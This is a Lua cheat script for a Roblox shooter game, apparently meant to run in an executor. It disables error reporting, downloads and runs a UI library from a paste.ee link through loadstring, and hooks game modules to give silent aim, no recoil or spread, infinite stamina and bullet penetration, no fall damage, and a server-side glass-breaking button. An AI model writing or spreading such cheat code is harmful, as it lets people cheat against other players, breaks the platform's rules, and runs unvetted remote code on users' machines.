local Lighting = game:GetService("Lighting"); local Players = game:GetService("Players"); local ReplicatedStorage = game:GetService("ReplicatedStorage"); local ScriptContext = game:GetService("ScriptContext"); for _, connection in ipairs(getconnections(ScriptContext.Error)) do connection:Disable(); end local library = loadstring(game:HttpGet("https://paste.ee/r/omZtZ/0", true))(); local camera = workspace.CurrentCamera; local client = Players.LocalPlayer; local LoadModule = require(ReplicatedStorage.Modules.Load); local LoadSharedModule = require(ReplicatedStorage.SharedModules.Load); local AnimalModule, BreakableGlassModule, CameraModule, ClientProjectiles, GunItemModule, NetworkModule, PlayerCharacterModule, SharedUtilsModule, UtilsModule; do AnimalModule = LoadModule("Animal"); BreakableGlassModule = LoadModule("BreakableGlass"); CameraModule = LoadModule("Camera"); ClientProjectiles = LoadModule("ClientProjectiles"); GunItemModule = LoadModule("GunItem"); NetworkModule = LoadSharedModule("Network"); PlayerCharacterModule = LoadModule("PlayerCharacter"); SharedUtilsModule = LoadSharedModule("SharedUtils"); UtilsModule = LoadModule("Utils"); end local GetClosestCharacter = function() local ClosestCharacter; local closest = math.huge; local center = camera.ViewportSize / 2; for _, player in ipairs(Players:GetPlayers()) do if (player ~= client) then local character = player.Character; if (character) then local vector, visible = camera:WorldToViewportPoint(character.Head.Position); if (visible) then local distance = (Vector2.new(vector.X, vector.Y) - center).Magnitude; if (distance < closest) then ClosestCharacter = character; closest = distance; end end end end end return ClosestCharacter; end local OldFireServer = NetworkModule.FireServer; NetworkModule.FireServer = function(self, remote, ...) if (library.flags.InfiniteStamina and remote == "LowerStamina") then return end; if (library.flags.NoFallDamage and remote == "DamageSelf") then return end; return OldFireServer(self, remote, ...) end --// Character local OldCharacterRagdoll = PlayerCharacterModule.Ragdoll; PlayerCharacterModule.Ragdoll = function(...) if (library.flags.NoCharacterRagdoll) then return end; return OldCharacterRagdoll(...); end local JumpConnection = client.Character and getconnections(client.Character.Humanoid:GetPropertyChangedSignal("Jump"))[1]; local OldOnCharacterAdded = PlayerCharacterModule.OnCharacterAdded; PlayerCharacterModule.OnCharacterAdded = function(self) OldOnCharacterAdded(self); JumpConnection = getconnections(self.Human:GetPropertyChangedSignal("Jump"))[1]; if (library.flags.NoJumpCooldown) then JumpConnection:Disable(); end end local OldBreakFree = PlayerCharacterModule.BreakFree; PlayerCharacterModule.BreakFree = function(self) if (library.flags.InstantBreakFree) then self.BreakFreePerc = 1; end return OldBreakFree(self); end local OldGetUp = PlayerCharacterModule.GetUp; PlayerCharacterModule.GetUp = function(self) if (library.flags.InstantGetUp) then local a, b = NetworkModule:InvokeServer("AttemptGetUp"); self:OnGetUp(a, b); return; end return OldGetUp(self); end --// Combat local OldIsFirstPerson = CameraModule.IsFirstPerson; CameraModule.IsFirstPerson = function(self) if (library.flags.SilentAim) then if (getfenv(2) == getfenv(GunItemModule.new)) then return true; end end return OldIsFirstPerson(self); end local OldGetMouseHit = UtilsModule.GetMouseHit; UtilsModule.GetMouseHit = function(...) local args = {...}; if (library.flags.SilentAim) then if (getfenv(2) == getfenv(GunItemModule.new)) then local ClosestCharacter = GetClosestCharacter(); if (ClosestCharacter) then return ClosestCharacter.Head.Position; end end end return OldGetMouseHit(...); end local OldCalculateRecoil = GunItemModule.CalculateRecoil; GunItemModule.CalculateRecoil = function(...) if (library.flags.NoRecoil) then return 0 end; return OldCalculateRecoil(...); end local OldGetProjectileSpread = SharedUtilsModule.GetProjectileSpread; SharedUtilsModule.GetProjectileSpread = function(a, b, c, d) if (library.flags.SilentAim or library.flags.NoSpread) then c.accuracy = 1; end return OldGetProjectileSpread(a, b, c, d); end local OldOnHit = ClientProjectiles.Projectiles.GunProjectile.OnHit; ClientProjectiles.Projectiles.GunProjectile.OnHit = function(self, ...) if (library.flags.InfiniteBulletPenetration) then local OldCheckPenetration = self.CheckPenetration; self.CheckPenetration = function(self) self.PenetrationLeft = 999999; return OldCheckPenetration(self); end end return OldOnHit(self, ...); end --// World local OldAnimalRagdoll = AnimalModule.Ragdoll; AnimalModule.Ragdoll = function(self, ...) if (library.flags.NoHorseRagdoll) then return end; return OldAnimalRagdoll(self, ...); end local OldAnimalBoost = AnimalModule.Boost; AnimalModule.Boost = function(self) OldAnimalBoost(self); if (library.flags.InfiniteBoosts) then self.Boosts = self.MaxBoosts; end end --// Miscellaneous local LightingChangedConnection; local Fullbright = function(state) if (state) then LightingChangedConnection = Lighting.Changed:Connect(function() local color = Color3.new(1, 1, 1); Lighting.Ambient = color; Lighting.ColorShift_Bottom = color; Lighting.ColorShift_Top = color; end) else LightingChangedConnection:Disconnect(); end end local BreakableGlass = {}; do for k, v in next, debug.getupvalue(BreakableGlassModule.GetBreakableGlass, 1) do if (type(k) == "userdata") then table.insert(BreakableGlass, v.Id); end end end local BreakAllGlass = function() for _, id in ipairs(BreakableGlass) do NetworkModule:FireServer("BreakGlass", id, Vector3.new()); end end local CharacterWindow = library:CreateWindow("Character"); do CharacterWindow:AddToggle({ text = "No Ragdoll", flag = "NoCharacterRagdoll" }) CharacterWindow:AddToggle({ text = "Infinite Stamina", flag = "InfiniteStamina" }) CharacterWindow:AddToggle({ text = "No Fall Damage", flag = "NoFallDamage" }) CharacterWindow:AddToggle({ text = "No Jump Cooldown", flag = "NoJumpCooldown", callback = function(state) if (JumpConnection) then if (state) then JumpConnection:Disable(); else JumpConnection:Enable(); end end end }) CharacterWindow:AddToggle({ text = "Instant Break Free", flag = "InstantBreakFree" }) CharacterWindow:AddToggle({ text = "Instant Get Up", flag = "InstantGetUp" }) end local GunWindow = library:CreateWindow("Gun"); do GunWindow:AddToggle({ text = "Silent Aim", flag = "SilentAim" }) GunWindow:AddToggle({ text = "No Recoil", flag = "NoRecoil" }) GunWindow:AddToggle({ text = "No Spread", flag = "NoSpread" }) GunWindow:AddToggle({ text = "Infinite Bullet Penetration", flag = "InfiniteBulletPenetration" }) end local HorseWindow = library:CreateWindow("Horse"); do HorseWindow:AddToggle({ text = "No Ragdoll", flag = "NoHorseRagdoll" }) HorseWindow:AddToggle({ text = "Infinite Boosts", flag = "InfiniteBoosts" }) end local MiscellaneousWindow = library:CreateWindow("Miscellaneous"); do MiscellaneousWindow:AddToggle({ text = "Fullbright", flag = "Fullbright", callback = Fullbright }) MiscellaneousWindow:AddButton({ text = "Break All Glass", callback = BreakAllGlass }) MiscellaneousWindow:AddBind({ text = "UI Visible", key = "RightShift", callback = function() library:Close(); end }) end library:Init();